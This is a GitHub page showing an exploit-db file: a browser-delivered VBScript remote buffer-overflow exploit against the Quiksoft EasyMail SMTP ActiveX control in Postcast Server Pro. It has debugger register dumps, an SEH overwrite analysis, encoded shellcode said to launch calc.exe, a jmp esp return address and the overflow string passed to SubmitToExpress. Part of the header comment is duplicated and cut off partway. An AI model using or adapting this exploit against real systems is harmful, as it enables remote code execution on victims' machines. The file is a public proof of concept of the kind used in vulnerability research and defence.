forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path10007.html
More file actions
executable file
·152 lines (108 loc) · 3.92 KB
/
Copy path10007.html
File metadata and controls
executable file
·152 lines (108 loc) · 3.92 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
<!-- Postcast Server Pro 3.0.61 / Quiksoft EasyMail SMTP Object
(emsmtp.dll 6.0.1)
remote buffer overflow exploit
(ie6 / xp sp2 version)
passing more than 539 chars to SubmitToExpress method:
EAX 00000400
ECX 0013DD24 ASCII "Error Creating File: AAAA ...
EDX C0403FFF
EBX FFFFFFFF
ESP 0013D5E4
EBP 0013DD08
ESI 41414141
EDI 0013DD24 ASCII "Error Creating File: AAAA ...
EIP 06986256 emsmtp.06986256
...
CMP DWORD PTR DS:[ESI+180],1
Access violation when reading 414142C1
seh overwrite follows:
EAX 00000000
ECX 41414141
EDX 7C9137D8 ntdll.7C9137D8
EBX 00000000
ESP 0013D214
EBP 0013D234
<!-- Postcast Server Pro 3.0.61 / Quiksoft EasyMail SMTP Object
(emsmtp.dll 6.0.1)
remote buffer overflow exploit
(ie6 / xp sp2 version)
passing more than 539 chars to SubmitToExpress method:
EAX 00000400
ECX 0013DD24 ASCII "Error Creating File: AAAA ...
EDX C0403FFF
EBX FFFFFFFF
ESP 0013D5E4
EBP 0013DD08
ESI 41414141
EDI 0013DD24 ASCII "Error Creating File: AAAA ...
EIP 06986256 emsmtp.06986256
...
CMP DWORD PTR DS:[ESI+180],1
Access violation when reading 414142C1
seh overwrite follows:
EAX 00000000
ECX 41414141
EDX 7C9137D8 ntdll.7C9137D8
EBX 00000000
ESP 0013D214
EBP 0013D234
ESI 00000000
EDI 00000000
EIP 41414141
and if we pass a readable address to ESI:
A*539 + esi + A*99999
we fall in a more convenient
situation:
EAX 00000000
ECX 0013DF7C ASCII "AAAA...
EDX 001835D0
EBX 00000000
ESP 0013DF68 ASCII "AAAA...
EBP 41414141
ESI 05542A08
EDI 05586250 ASCII "AAAA...
EIP 41414141
Object safety report:
RegKey Safe for Script: true
RegKey Safe for Init: true
vendor urls: http://www.postcastserver.com/
http://www.quicksoftcorp.com/
rgod.
site: http://retrogod.altervista.org
->
<html>
<object classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9'
id='EasyMailSMTPObj' /></object>
<script language='vbscript'>
'open calc.exe
scode =
unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")
esi = unescape("%01%01%01%01")
ebp = "bbbb"
nop = string(16,unescape("%90"))
eip = unescape("%78%2c%41%7e") '0x7E412C78 jmp esp user32.dll
bof = string(539,"A") + esi + ebp + eip + nop + scode
EasyMailSMTPObj.SubmitToExpress bof
</script>
</html>